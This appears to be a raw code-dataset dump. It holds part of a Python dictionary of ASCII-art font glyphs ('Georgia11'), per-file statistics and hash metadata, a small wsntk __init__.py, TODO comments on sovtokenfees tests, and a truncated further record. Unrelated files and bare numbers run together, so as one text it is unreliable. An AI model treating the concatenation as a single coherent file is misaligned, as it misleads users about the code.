'.JMML. ', ' ', ' ', ], 'g' : [ ' ', ' ', ' ', ' ', ' .P"Ybmmm ', ':MI I8 ', ' WmmmP" ', '8M ', ' YMMMMMb ', "6' dP ", "Ybmmmd' ", ], 'h' : [ ' ', ' ,, ', '`7MM ', ' MM ', ' MMpMMMb. ', ' MM MM ', ' MM MM ', ' MM MM ', '.JMML JMML.', ' ', ' ', ], 'i' : [ ' ', ' ,, ', ' db ', ' ', '`7MM ', ' MM ', ' MM ', ' MM ', '.JMML.', ' ', ' ', ], 'j' : [ ' ', ' ,, ', ' db ', ' ', ' `7MM ', ' MM ', ' MM ', ' MM ', ' MM ', 'QO MP ', '`bmP ', ], 'k' : [ ' ', ' ', '`7MM ', ' MM ', " MM ,MP'", ' MM ;Y ', ' MM;Mm ', ' MM `Mb. ', '.JMML. YA.', ' ', ' ', ], 'l' : [ ' ', ' ,, ', '`7MM ', ' MM ', ' MM ', ' MM ', ' MM ', ' MM ', '.JMML.', ' ', ' ', ], 'm' : [ ' ', ' ', ' ', ' ', '`7MMpMMMb.pMMMb. ', ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', '.JMML JMML JMML.', ' ', ' ', ], 'n' : [ ' ', ' ', ' ', ' ', '`7MMpMMMb. ', ' MM MM ', ' MM MM ', ' MM MM ', '.JMML JMML.', ' ', ' ', ], 'name' : [ 'G', 'e', 'o', 'r', 'g', 'i', 'a', '1', '1', ], 'o' : [ ' ', ' ', ' ', ' ', ' ,pW"Wq. ', "6W' `Wb ", '8M M8 ', 'YA. ,A9 ', " `Ybmd9' ", ' ', ' ', ], 'p' : [ ' ', ' ', ' ', ' ', '`7MMpdMAo. ', ' MM `Wb ', ' MM M8 ', ' MM ,AP ', " MMbmmd' ", ' MM ', '.JMML. ', ], 'q' : [ ' ', ' ', ' ', ' ', ' ,dW"Yvd ', " ,W' MM ", ' 8M MM ', ' YA. MM ', ' `MbmdMM ', ' MM ', ' .JMML.', ], 'r' : [ ' ', ' ', ' ', ' ', '`7Mb,od8 ', ' MM\' "\' ', ' MM ', ' MM ', '.JMML. ', ' ', ' ', ], 's' : [ ' ', ' ', ' ', ' ', ',pP"Ybd ', '8I `" ', '`YMMMa. ', 'L. I8 ', "M9mmmP' ", ' ', ' ', ], 't' : [ ' ', ' ', ' mm ', ' MM ', 'mmMMmm ', ' MM ', ' MM ', ' MM ', ' `Mbmo ', ' ', ' ', ], 'u' : [ ' ', ' ', ' ', ' ', '`7MM `7MM ', ' MM MM ', ' MM MM ', ' MM MM ', ' `Mbod"YML.', ' ', ' ', ], 'v' : [ ' ', ' ', ' ', ' ', "`7M' `MF'", ' VA ,V ', ' VA ,V ', ' VVV ', ' W ', ' ', ' ', ], 'w' : [ ' ', ' ', ' ', ' ', "`7M' ,A `MF'", ' VA ,VAA ,V ', ' VA ,V VA ,V ', ' VVV VVV ', ' W W ', ' ', ' ', ], 'x' : [ ' ', ' ', ' ', ' ', "`7M' `MF'", " `VA ,V' ", ' XMX ', " ,V' VA. ", '.AM. .MA.', ' ', ' ', ], 'y' : [ ' ', ' ', ' ', ' ', "`7M' `MF'", ' VA ,V ', ' VA ,V ', ' VVV ', ' ,V ', ' ,V ', 'OOb" ', ], 'z' : [ ' ', ' ', ' ', ' ', 'M"""MMV ', "' AMV ", ' AMV ', ' AMV , ', 'AMMmmmM ', ' ', ' ', ], '{' : [ ' ', ' ,pm ', ' 6M ', ' MM ', ' M9 ', '_.d"\' ', '`"bp. ', ' Mb ', ' MM ', ' YM ', ' `bm ', ], '|' : [ ' ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', ], '}' : [ ' ', 'mq. ', ' Mb ', ' MM ', ' YM ', ' `"b._', ' ,qd"\'', ' 6M ', ' MM ', ' M9 ', "md' ", ], '~' : [ ' ', ' ', ' ', ' ', ' ', ' ,og. ,', '" `6o" ', ' ', ' ', ' ', ' ', ], 'Α' : [ ' ', ' ', ' db ', ' ;MM: ', ' ,V^MM. ', ' ,M `MM ', ' AbmmmqMA ', " A' VML ", '.AMA. .AMMA.', ' ', ' ', ], 'Β' : [ ' ', ' ', '`7MM"""Yp, ', ' MM Yb ', ' MM dP ', ' MM"""bg. ', ' MM `Y ', ' MM ,9 ', '.JMMmmmd9 ', ' ', ' ', ], 'Γ' : [ ' ', ' ', '`7MM"""YMM ', ' MM `7 ', ' MM ', ' MM ', ' MM ', ' MM ', '.JMML. ', ' ', ' ', ], 'Δ' : [ ' ', ' ', ' db ', ' ;MM: ', ' ,V^MM. ', ' ,M `MM ', " A' `MA ", " A' VML ", 'AMMMMMMMMMMA ', ' ', ' ', ], 'Ε' : [ ' ', ' ', '`7MM"""YMM ', ' MM `7 ', ' MM d ', ' MMmmMM ', ' MM Y , ', ' MM ,M ', '.JMMmmmmMMM ', ' ', ' ', ], 'Ζ' : [ ' ', ' ', 'MMM"""AMV ', "M' AMV ", "' AMV ", ' AMV ', ' AMV , ', ' AMV ,M ', 'AMVmmmmMM ', ' ', ' ', ], 'Η' : [ ' ', ' ', "`7MMF' `7MMF'", ' MM MM ', ' MM MM ', ' MMmmmmmmMM ', ' MM MM ', ' MM MM ', '.JMML. .JMML.', ' ', ' ', ], 'Θ' : [ ' ', ' ', ' .p8"""8q. ', " 6M' `Mp ", '6MP L J YMb ', '8MI MMMMM IM8 ', 'YMb F 7 dM9 ', ' YM. ,M9 ', ' `Mbmmmd"\' ', ' ', ' ', ], 'Ι' : [ ' ', ' ', "`7MMF'", ' MM ', ' MM ', ' MM ', ' MM ', ' MM ', '.JMML.', ' ', ' ', ], 'Κ' : [ ' ', ' ', "`7MMF' `YMM' ", " MM .M' ", ' MM .d" ', ' MMMMM. ', ' MM VMA ', ' MM `MM. ', '.JMML. MMb.', ' ', ' ', ], 'Λ' : [ ' ', ' ', ' db ', ' ;MM: ', ' ,V^MM. ', ' ,M `MM ', " A' `MA ", " A' VML ", '.AMA. .AMMA.', ' ', ' ', ], 'Μ' : [ ' ', ' ', "`7MMM. ,MMF'", ' MMMb dPMM ', ' M YM ,M MM ', " M Mb M' MM ", " M YM.P' MM ", " M `YM' MM ", ".JML. `' .JMML.", ' ', ' ', ], 'Ν' : [ ' ', ' ', "`7MN. `7MF'", ' MMN. M ', ' M YMb M ', ' M `MN. M ', ' M `MM.M ', ' M YMM ', '.JML. YM ', ' ', ' ', ], 'Ξ' : [ ' ', ' ', 'MMMMMMMMMM ', "P' `7 ", "' L J ` ", ' MMMMMM ', '. F 7 , ', 'L. ,J ', 'MMMMMMMMMM ', ' ', ' ', ], 'Ο' : [ ' ', ' ', ' .p8""8q. ', " 6M' `Mp ", '6MP YMb ', '8MI IM8 ', 'YMb dM9 ', ' YM. ,M9 ', ' `"bmmd"\' ', ' ', ' ', ], 'Π' : [ ' ', ' ', '`7MM""""""MMF\'', ' MM MM ', ' MM MM ', ' MM MM ', ' MM MM ', ' MM MM ', '.JMML. .JMML.', ' ', ' ', ], 'Ρ' : [ ' ', ' ', '`7MM"""Mq. ', ' MM `MM.', ' MM ,M9 ', ' MMmmdM9 ', ' MM ', ' MM ', '.JMML. ', ' ', ' ', ], 'Σ' : [ ' ', ' ', 'VMA""YMM ', ' VMA `7 ', ' VMA ', ' XV ', ' AV , ', ' AV ,M ', 'AMMMMMMMF ', ' ', ' ', ], 'Τ' : [ ' ', ' ', 'MMP""MM""YMM ', "P' MM `7 ", ' MM ', ' MM ', ' MM ', ' MM ', ' .JMML. ', ' ', ' ', ], 'Υ' : [ ' ', ' ', "`YMM' `MM'", ' VMA ,V ', ' VMA ,V ', ' VMMP ', ' MM ', ' MM ', ' .JMML. ', ' ', ' ', ], 'Φ' : [ ' ', ' ', " `7MMF' ", ' ,mmmmMMmmmm. ', '6MP MM YMb ', '8M MM M8 ', 'YMb MM dM9 ', " `YmmmMMmmmP' ", ' .JMML. ', ' ', ' ', ], 'Χ' : [ ' ', ' ', "`YMM' `MP' ", ' VMb. ,P ', " `MM.M' ", ' MMb ', " ,M'`Mb. ", ' ,P `MM. ', '.MM:. .:MMa.', ' ', ' ', ], 'Ψ' : [ ' ', ' ', "`7MM `7MMF' MMF'", ' MM MM MM ', ' MM MM MM ', ' MM. MM ,MM ', ' YbmmMMmmdP ', ' MM ', ' .JMML. ', ' ', ' ', ], 'Ω' : [ ' ', ' ', ' ,p^"^q. ', ' ,MV VM. ', ' 8M. ,M8 ', ' YM. ,MP ', " `Mb dM' ", 'L b. .d J ', 'MMMMM. .MMMMM ', ' ', ' ', ], 'α' : [ ' ', ' ', ' ', ' ', ' ,p"q.,M7 ', "6W' `;W' ", '8M AW ', 'YA. ,AP ', ' `Ybd9`Ybo ', ' ', ' ', ], 'β' : [ ' ', ' ,,.. ', " ,MF'``A. ", " 6M .M' ", ' MM mmb. ', ' MM Yb ', ' MM b8 ', ' MM. p9 ', " MM`bmd9' ", ' MM ', ' MM ', ], 'γ' : [ ' ', ' ', ' ', ' ', '`7MMq OO ', ' VAq ,MP ', ' VA. pd ', ' VA.V ', ' WW ', ' MM ', ' YP ', ], 'δ' : [ ' ', ' ,,,.. ', " dM'``OO ", ' `YMb. ', ' ,g"YMM. ', " 6W' `Wb ", ' 8M M8 ', ' YA. ,A9 ', " `Ybmd9' ", ' ', ' ', ], 'ε' : [ ' ', ' ', ' ', ' ', ' ,p6"bo ', "8' OO ", ' >mm ', '8I ,', " `Mbmd' ", ' ', ' ', ], 'ζ' : [ ' ', ' ', ' 6mmmmp ', " ,M' ", ' ,dP ', ',MP ', 'MM ', 'WM. ', ' YMMMMq. ', ' ;8 ', ' "=--\' ', ], 'η' : [ ' ', ' ', ' ', ' ', '`7MMpMMMq. ', ' MM MM ', ' MM MM ', ' MM MM ', ' MM MM ', ' MM ', ' MM ', ], 'θ' : [ ' ', ' ,,.. ', ",6P`'Yb. ", "6M' `Mb ", 'MM MM ', 'MM""""MM ', "YM JM'", '`M. ,M9 ', " `YbdP' ", ' ', ' ', ], 'ι' : [ ' ', ' ', ' ', ' ', '`7MM ', ' MM ', ' MM ', ' MM ', ' YMbo ', ' ', ' ', ], 'κ' : [ ' ', ' ', ' ', ' ', '`7MM ,pO) ', ' MM ;P ', ' MM;N. ', ' MM YM. ', ' MM YMbo ', ' ', ' ', ], 'λ' : [ ' ', ' ', ' (Ob. ', ' M ', ' db ', ' AMA. ', " AM'`M ", " ,M' db ", "JM' Yb.", ' ', ' ', ], 'μ' : [ ' ', ' ', ' ', ' ', 'MM MM ', 'MM MM ', 'MM MM ', 'MM MM ', 'MVbgd"\'Ybo ', 'M. ', 'M8 ', ], 'ν' : [ ' ', ' ', ' ', ' ', '`7WA OO ', ' VA ,V ', ' VA ,V ', ' VVV ', ' W ', ' ', ' ', ], 'ξ' : [ ' ', ' ', ' 6ggmmm ', " pP' ", ' bq. ', ' >mmmm ', ',MP ', '`Mq. ', ' `"MMMq. ', ' ;8 ', ' "=--\' ', ], 'ο' : [ ' ', ' ', ' ', ' ', ' ,pW"Wq. ', "6W' `Wb ", '8M M8 ', 'YA. ,A9 ', " `Ybmd9' ", ' ', ' ', ], 'π' : [ ' ', ' ', ' ', ' ', ',mgmmmggmp ', "' M MM ", ' M MM ', ' ,M MM ', "O9' YMbo ", ' ', ' ', ], 'ρ' : [ ' ', ' ', ' ', ' ', ' ,pW"Wq. ', "6W' `Wb ", '8M M8 ', 'MA. ,A9 ', "MMYbmd9' ", 'MM ', 'MM ', ], 'ς' : [ ' ', ' ', ' ', ' ', ' ,6""bo ', '6W OO ', '8M ', 'YM. ', ' `"MMMq. ', ' ;8 ', ' "=--\' ', ], 'σ' : [ ' ', ' ', ' ', ' ', ' ,pW"Wmmmm ', "6W' `Wb ", '8M M8 ', 'YA. ,A9 ', " `Ybmd9' ", ' ', ' ', ], 'τ' : [ ' ', ' ', ' ', ' ', ',mmggmmm ', "' MM ", ' MM ', ' MM ', ' YMbo ', ' ', ' ', ], 'υ' : [ ' ', ' ', ' ', ' ', 'odMp OMg ', ' MM `M.', " MM M'", ' MM ,P ', " `YMm9' ", ' ', ' ', ], 'φ' : [ ' ', ' ', ' MM ', ' MM ', ' ,p8"MM"8q. ', ',MP MM YM. ', '8M MM M8 ', "`Mb MM JM' ", " `YbmMMmdP' ", ' MM ', ' MM ', ], 'χ' : [ ' ', ' ', ' ', ' ', 'oq. AV ', ' `M. AV ', ' `M.AV ', ' AV ', ' AV`M. ', ' AV `M. ', ' AV `bo ', ], 'ψ' : [ ' ', ' ', ' ', ' ', 'oqb. MM Ob. ', ' MM MM YM ', ' MM MM M ', ' MM MM ,P ', " `YbmMMmd' ", ' MM ', ' MM ', ], 'ω' : [ ' ', ' ', ' ', ' ', " .p' `q. ", "6M' `Mb ", 'MM :M: MM ', 'YM :M: M9 ', ' Ybd9 Ybd9 ', ' ', ' ', ], 'ϕ' : [ ' ', ' ', ' ', ' ', ' ,p\' .g"8b. ', ',MP MM `Mq ', '8M: MM M8 ', "`Mb MM JM' ", " `YbmMMmd' ", ' MM ', ' MM ', ], 'Ё' : [ ' qp qp ', ' "" "" ', '`7MM"""YMM ', ' MM `7 ', ' MM d ', ' MMmmMM ', ' MM Y , ', ' MM ,M ', '.JMMmmmmMMM ', ' ', ' ', ], 'А' : [ ' ', ' ', ' db ', ' ;MM: ', ' ,V^MM. ', ' ,M `MM ', ' AbmmmqMA ', " A' VML ", '.AMA. .AMMA.', ' ', ' ', ], 'Б' : [ ' ', ' ', '`7MM"""YMM ', ' MM `7 ', ' MM ', ' MM"""bg. ', ' MM `Y ', ' MM ,9 ', '.JMMmmmd9 ', ' ', ' ', ], 'В' : [ ' ', ' ', '`7MM"""Yp, ', ' MM Yb ', ' MM dP ', ' MM"""bg. ', ' MM `Y ', ' MM ,9 ', '.JMMmmmd9 ', ' ', ' ', ], 'Г' : [ ' ', ' ', '`7MM"""YMM ', ' MM `7 ', ' MM ', ' MM ', ' MM ', ' MM ', '.JMML. ', ' ', ' ', ], 'Д' : [ ' ', ' ', ' `7MP""MMF\' ', ' M MM ', ' P MM ', " ;' MM ", ' ,9 MM ', ' ,9 MM ', 'gMmmmmmmMMmm ', 'MV VM ', 'V V ', ], 'Е' : [ ' ', ' ', '`7MM"""YMM ', ' MM `7 ', ' MM d ', ' MMmmMM ', ' MM Y , ', ' MM ,M ', '.JMMmmmmMMM ', ' ', ' ', ], 'Ж' : [ ' ', ' ', "o8b. `7MMF' ,d8o ", " `Yb MM 6P' ", ' Y. MM ,9 ', ' >bmMMmd< ', " ,dP' MM `YM. ", " dM' MM `Mb ", '.dM .JMML. `Mba.', ' ', ' ', ], 'З' : [ ' ', ' ', ' MgY""Yb. ', " M' M8 ", " ' ,M' ", ' ""Yg. ', ' `MM ', 'QQ dM ', '`Ybmmmd" ', ' ', ' ', ], 'И' : [ ' ', ' ', "`7MMF' `7MMF'", ' MM ,AMM ', " MM ,A'MM ", ' MM AV MM ', " MM,V' MM ", " MMV' MM ", '.JMML. .JMML.', ' ', ' ', ], 'Й' : [ ' 69 69 ', " `--' ", "`7MMF' `7MMF'", ' MM ,AMM ', " MM ,A'MM ", ' MM AV MM ', " MM,V' MM ", " MMV' MM ", '.JMML. .JMML.', ' ', ' ', ], 'К' : [ ' ', ' ', "`7MMF' ,d8o ", " MM 6P' ", ' MM ,9 ', ' MMmd< ', ' MM `YM. ', ' MM `Mb ', '.JMML. `MMa.', ' ', ' ', ], 'Л' : [ ' ', ' ', ' `7MP""MMF\'', ' M MM ', ' P MM ', " j' MM ", ' ,9 MM ', ',.,9 MM ', "OO' ,JMML.", ' ', ' ', ], 'М' : [ ' ', ' ', "`7MMM. ,MMF'", ' MMMb dPMM ', ' M YM ,M MM ', " M Mb M' MM ", " M YM.P' MM ", " M `YM' MM ", ".JML. `' .JMML.", ' ', ' ', ], 'Н' : [ ' ', ' ', "`7MMF' `7MMF'", ' MM MM ', ' MM MM ', ' MMmmmmmmMM ', ' MM MM ', ' MM MM ', '.JMML. .JMML.', ' ', ' ', ], 'О' : [ ' ', ' ', ' .p8"""8q. ', " 6M' `Mp ", '6MP YMb ', '8MI IM8 ', 'YMb dM9 ', ' YM. ,M9 ', ' `Mbmmmd"\' ', ' ', ' ', ], 'П' : [ ' ', ' ', '`7MM"""""MMF\'', ' MM MM ', ' MM MM ', ' MM MM ', ' MM MM ', ' MM MM ', '.JMML. .JMML.', ' ', ' ', ], 'Р' : [ ' ', ' ', '`7MM"""Mq. ', ' MM `MM.', ' MM ,M9 ', ' MMmmdM9 ', ' MM ', ' MM ', '.JMML. ', ' ', ' ', ], 'С' : [ ' ', ' ', ' .g8"""bgd ', ".dP' `M ", "dM' ` ", 'MM ', 'MM. ', "`Mb. ,' ", ' `"bmmmd\' ', ' ', ' ', ], 'Т' : [ ' ', ' ', 'MMP""MM""YMM ', "P' MM `7 ", ' MM ', ' MM ', ' MM ', ' MM ', ' .JMML. ', ' ', ' ', ], 'У' : [ ' ', ' ', "`YMM' `MM'", ' VMA ,V ', ' VMA ,V ', ' VMVMP ', " YMP' ", " QQ jM' ", " 69bdP' ", ' ', ' ', ], 'Ф' : [ ' ', ' ', " `7MMF' ", ' ,mmmmMMmmmm. ', '6MP MM YMb ', '8M MM M8 ', 'YMb MM dM9 ', " `YmmmMMmmmP' ", ' .JMML. ', ' ', ' ', ], 'Х' : [ ' ', ' ', "`YMM' `MP' ", ' VMb. ,P ', " `MM.M' ", ' MMb ', " ,M'`Mb. ", ' ,P `MM. ', '.MM:. .:MMa.', ' ', ' ', ], 'Ц' : [ ' ', ' ', "`7MMF' `7MMF' ", ' MM MM ', ' MM MM ', ' MM MM ', ' MM MM ', ' MM MM ', '.JMMmmmmmMMmm ', ' VM ', ' V ', ], 'Ч' : [ ' ', ' ', "`7MMF' `7MMF'", ' MM MM ', ' MM MM ', ' YM. ,MM ', ' `"""\' MM ', ' MM ', ' ,JMML.', ' ', ' ', ], 'Ш' : [ ' ', ' ', "`7MMF' `7MMF' `7MMF'", ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', '.JMMmmmmmMMmmmmmMML.', ' ', ' ', ], 'Щ' : [ ' ', ' ', "`7MMF' `7MMF' `7MMF' ", ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', '.JMMmmmmmMMmmmmmMMmm ', ' VM ', ' V ', ], 'Ъ' : [ ' ', ' ', 'MMP""MMF\' ', 'P MM ', ' MM ', ' MM"""bg. ', ' MM `Y ', ' MM ,9 ', ' .JMMmmmd9 ', ' ', ' ', ], 'Ы' : [ ' ', ' ', "`7MMF' `7MMF'", ' MM MM ', ' MM MM ', ' MM"""bg. MM ', ' MM `Y MM ', ' MM ,9 MM ', '.JMMmmmd9 .JMML.', ' ', ' ', ], 'Ь' : [ ' ', ' ', "`7MMF' ", ' MM ', ' MM ', ' MM"""bg. ', ' MM `Y ', ' MM ,9 ', '.JMMmmmd9 ', ' ', ' ', ], 'Э' : [ ' ', ' ', ' MqP""""8q. ', " M' `Mp ", ' YMb ', " ,p6bqpd'M8 ", ' dM9 ', '(O) ,M9 ', ' `"Ybmmmd"\' ', ' ', ' ', ], 'Ю' : [ ' ', ' ', '`7MMF\' .g8""8q. ', " MM .dP' `YM. ", " MM dM' `MM ", ' MMmmMM MM ', ' MM MM. ,MP ', " MM `Mb. ,dP' ", '.JMML. `"bmmd"\' ', ' ', ' ', ], 'Я' : [ ' ', ' ', ' .pM"""MMF\'', " .MM' MM ", ' YM. MM ', ' YMmmmMM ', " ,dP' MM ", " dM' MM ", '.dM .JMML.', ' ', ' ', ], 'а' : [ ' ', ' ', ' ', ' ', ' ,6"Yb. ', '8) MM ', ' ,pm9MM ', '8M MM ', '`Moo9^Yo.', ' ', ' ', ], 'б' : [ ' ', ' , ', " ,dMMMP' ", 'dP ', 'M,dW"Wb. ', "MW' `Wb ", 'MM M8 ', 'YA. ,A9 ', " `Ybmd9' ", ' ', ' ', ], 'в' : [ ' ', ' ', ' ', ' ', '`7MM""Yq. ', ' MM j8 ', ' MM""Yq. ', ' MM j8 ', ".JMMmmm9' ", ' ', ' ', ], 'г' : [ ' ', ' ', ' ', ' ', '`7MM"""M ', ' MM ` ', ' MM ', ' MM ', '.JMML. ', ' ', ' ', ], 'д' : [ ' ', ' ', ' ', ' ', ' VM""MMF\' ', ' ,9 MM ', " d' MM ", ' ,9 MM ', 'gMmmmmMMm ', 'V V ', ' ', ], 'е' : [ ' ', ' ', ' ', ' ', ' .gP"Ya ', ",M' Yb ", '8M"""""" ', 'YM. , ', " `Mbmmd' ", ' ', ' ', ], 'ж' : [ ' ', ' ', ' ', ' ', " OQ. `MM' ,QO ", ' b MM P ', ' >mMMm< ', " ,d' MM `b. ", '.ed .MM. `ba.', ' ', ' ', ], 'з' : [ ' ', ' ', ' ', ' ', 'MgY"Ya ', "M' M8", ' ""< ', 'QQ M8', "YbmmP' ", ' ', ' ', ], 'и' : [ ' ', ' ', ' ', ' ', "`7MMF'`7MMF'", ' MM ,MM ', " MM ,' MM ", " MM' MM ", '.JMML..JMML.', ' ', ' ', ], 'й' : [ ' ', ' ', ' 69 69 ', " `--' ", "`7MMF'`7MMF'", ' MM ,MM ', " MM ,' MM ", " MM' MM ", '.JMML..JMML.', ' ', ' ', ], 'к' : [ ' ', ' ', ' ', ' ', "`7MM' ,M8 ", ' MM j ', ' MMmd ', ' MM `M ', '.JMM. YMk ', ' ', ' ', ], 'л' : [ ' ', ' ', ' ', ' ', ' `7M""MMF\'', ' M MM ', ' ,P MM ', ". d' MM ", "8M' .JMML.", ' ', ' ', ], 'м' : [ ' ', ' ', ' ', ' ', "`7MMb ,MMMF'", " M Mb d'MM ", " M dM ;' MM ", ' M MVP MM ', '.JM. `P .MML.', ' ', ' ', ], 'н' : [ ' ', ' ', ' ', ' ', "`7MMF'`7MMF'", ' MM MM ', ' MMmmmmMM ', ' MM MM ', '.JMML..JMML.', ' ', ' ', ], 'о' : [ ' ', ' ', ' ', ' ', ' ,pW"Wq. ', "6W' `Wb ", '8M M8 ', 'YA. ,A9 ', " `Ybmd9' ", ' ', ' ', ], 'п' : [ ' ', ' ', ' ', ' ', '`7MM""""MMF\'', ' MM MM ', ' MM MM ', ' MM MM ', '.JMML..JMML.', ' ', ' ', ], 'р' : [ ' ', ' ', ' ', ' ', '`7MMpdMAo. ', ' MM `Wb ', ' MM M8 ', ' MM ,AP ', " MMbmmd' ", ' MM ', '.JMML. ', ], 'с' : [ ' ', ' ', ' ', ' ', ' ,p6"bo ', "6M' OO ", '8M ', 'YM. , ', " YMbmd' ", ' ', ' ', ], 'т' : [ ' ', ' ', ' ', ' ', 'MM""MM""MM ', 'P MM Y ', ' MM ', ' MM ', ' .JMML. ', ' ', ' ', ], 'у' : [ ' ', ' ', ' ', ' ', "`7M' `MF'", ' VA ,V ', ' VA ,V ', ' VVV ', ' ,V ', ' ,V ', 'OOb" ', ], 'ф' : [ ' ', ' ', ' `7MM ', ' MM ', ' .mmqMMpmm. ', "6M' MM `Mb ", '8M MM M8 ', 'YM. MM ,M9 ', " `YmdMMbmP' ", ' MM ', ' .JMML. ', ], 'х' : [ ' ', ' ', ' ', ' ', "`7M' `MF'", " `VA ,V' ", ' XMX ', " ,V' VA. ", '.AM. .MA.', ' ', ' ', ], 'ц' : [ ' ', ' ', ' ', ' ', "`7MMF'`7MMF' ", ' MM MM ', ' MM MM ', ' MM MM ', '.JMMmmmmMMmm ', ' VM ', ' V ', ], 'ч' : [ ' ', ' ', ' ', ' ', "`7MMF'`7MMF'", ' MM MM ', " ``=.='MM ", ' MM ', ' .JMML.', ' ', ' ', ], 'ш' : [ ' ', ' ', ' ', ' ', "`7MMF'`7MMF'`7MMF'", ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', '.JMMmmmmMMmmmmMML.', ' ', ' ', ], 'щ' : [ ' ', ' ', ' ', ' ', "`7MMF'`7MMF'`7MMF' ", ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', '.JMMmmmmMMmmmmMMmm ', ' VM ', ' V ', ], 'ъ' : [ ' ', ' ', ' ', ' ', 'MM""MMF\' ', 'P MM ', ' MM""Yq. ', ' MM j8 ', " .JMMmmm9' ", ' ', ' ', ], 'ы' : [ ' ', ' ', ' ', ' ', "`7MMF' `7MMF'", ' MM MM ', ' MM""Yq. MM ', ' MM j8 MM ', ".JMMmmm9'.JMML.", ' ', ' ', ], 'ь' : [ ' ', ' ', ' ', ' ', "`7MMF' ", ' MM ', ' MM""Yq. ', ' MM j8 ', ".JMMmmm9' ", ' ', ' ', ], 'э' : [ ' ', ' ', ' ', ' ', 'YdM"Wb. ', "' `Wb ", ' ,6bqpM8 ', 'O ,A9 ', "`Ybmd9' ", ' ', ' ', ], 'ю' : [ ' ', ' ', ' ', ' ', '`7MMF\' ,pW"Wq. ', " MM 6W' `Wb ", ' MMmm8M M8 ', ' MM YA. ,A9 ', ".JMML. `Ybmd9' ", ' ', ' ', ], 'я' : [ ' ', ' ', ' ', ' ', " ,pMMMMMF'", ' 8I MM ', ' `YmmmMM ', ' dP MM ', '.JP .JMML.', ' ', ' ', ], 'ё' : [ ' ', ' ,, ,, ', ' db db ', ' ', ' .gP"Ya ', ",M' Yb ", '8M"""""" ', 'YM. , ', " `Mbmmd' ", ' ', ' ', ], 'ff' : [ ' ', ' ,... ,...', ' .d\' "".d\' ""', ' dM` dM` ', ' mMMmmmmMMmm ', ' MM MM ', ' MM MM ', ' MM MM ', '.JMML..JMML. ', ' ', ' ', ], 'fi' : [ ' ', ' ,...,, ', " .d' db ", ' dM` ', ' mMMmmmmMM ', ' MM MM ', ' MM MM ', ' MM MM ', '.JMML..JMML.', ' ', ' ', ], 'fl' : [ ' ', ' ,...,, ', " .d' 7MM ", ' dM` MM ', ' mMMmm MM ', ' MM MM ', ' MM MM ', ' MM MM ', '.JMML..JMML.', ' ', ' ', ], 'ffi' : [ ' ', ' ,... ,...,, ', ' .d\' "".d\' db ', ' dM` dM` ', ' mMMmmmmMMmmmmMM ', ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', '.JMML..JMML..JMML.', ' ', ' ', ], 'ffl' : [ ' ', ' ,... ,...,, ', ' .d\' "".d\' 7MM ', ' dM` dM` MM ', ' mMMmmmmMMmm MM ', ' MM MM MM ', ' MM MM MM ', ' MM MM MM ', '.JMML..JMML..JMML.', ' ', ' ', ], }
12.811656
25
0.150968
2,484
38,909
2.364734
0.148551
0.240381
0.24617
0.231529
0.569629
0.516343
0.476507
0.433095
0.40875
0.343207
0
0.025769
0.57213
38,909
3,037
26
12.811656
0.326646
0
0
0.75966
0
0
0.688718
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
1
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
75d866eded939850bd8b00099adf58cb873180de
215
py
Python
wsntk/models/__init__.py
edielsonpf/wsn-optimization
793b8a0be2b2f6d090ccfe36cce399384d75e8b8
[ "MIT" ]
null
null
null
wsntk/models/__init__.py
edielsonpf/wsn-optimization
793b8a0be2b2f6d090ccfe36cce399384d75e8b8
[ "MIT" ]
null
null
null
wsntk/models/__init__.py
edielsonpf/wsn-optimization
793b8a0be2b2f6d090ccfe36cce399384d75e8b8
[ "MIT" ]
null
null
null
from .propagation import FreeSpace, LogDistance, TwoSlope from .consumption import NoConsumption, ExponentialConsumption __all__ = ['FreeSpace', 'LogDistance', 'TwoSlope', 'NoConsumption', 'ExponentialConsumption']
53.75
93
0.813953
17
215
10.058824
0.588235
0.233918
0.327485
0
0
0
0
0
0
0
0
0
0.083721
215
4
93
53.75
0.86802
0
0
0
0
0
0.291667
0.101852
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
1
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
7
f9431d2a7ee8b87fca4250edf6fc1c0e0a44e80f
182
py
Python
sovtokenfees/sovtokenfees/test/test_fees_non_fees_txns_batches.py
dastardlychimp/token-plugin
8755bce1424e794285ea6e70bf9bdd05518667c3
[ "Apache-2.0" ]
9
2018-10-26T04:59:51.000Z
2021-06-10T13:30:51.000Z
sovtokenfees/sovtokenfees/test/test_fees_non_fees_txns_batches.py
dastardlychimp/token-plugin
8755bce1424e794285ea6e70bf9bdd05518667c3
[ "Apache-2.0" ]
29
2018-09-11T17:07:00.000Z
2021-04-16T20:22:19.000Z
sovtokenfees/sovtokenfees/test/test_fees_non_fees_txns_batches.py
dastardlychimp/token-plugin
8755bce1424e794285ea6e70bf9bdd05518667c3
[ "Apache-2.0" ]
26
2018-09-11T16:49:40.000Z
2021-06-06T10:43:55.000Z
# TODO: Test batch with sovtokenfees and non-sovtokenfees txns, # TODO: Test when a batch of non sovtokenfees txns followed by sovtokenfees txns followed # by non sovtokenfees txns
36.4
89
0.796703
27
182
5.37037
0.481481
0.441379
0.393103
0.358621
0
0
0
0
0
0
0
0
0.164835
182
4
90
45.5
0.953947
0.956044
0
null
0
null
0
0
null
0
0
0.25
null
1
null
true
0
0
null
null
null
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
1
0
0
0
1
0
0
0
0
0
0
8
f945f8fb4d13ba36b3e1366e93fe37dd577efb13
4,338
py
Python
code/scripts/preprocessing_repo2.py
utkaiser/bachelor_thesis
ddb44d6d9efed4940ff9c32ff4260e61b1648358
[ "Apache-2.0" ]
null
null
null
code/scripts/preprocessing_repo2.py
utkaiser/bachelor_thesis
ddb44d6d9efed4940ff9c32ff4260e61b1648358
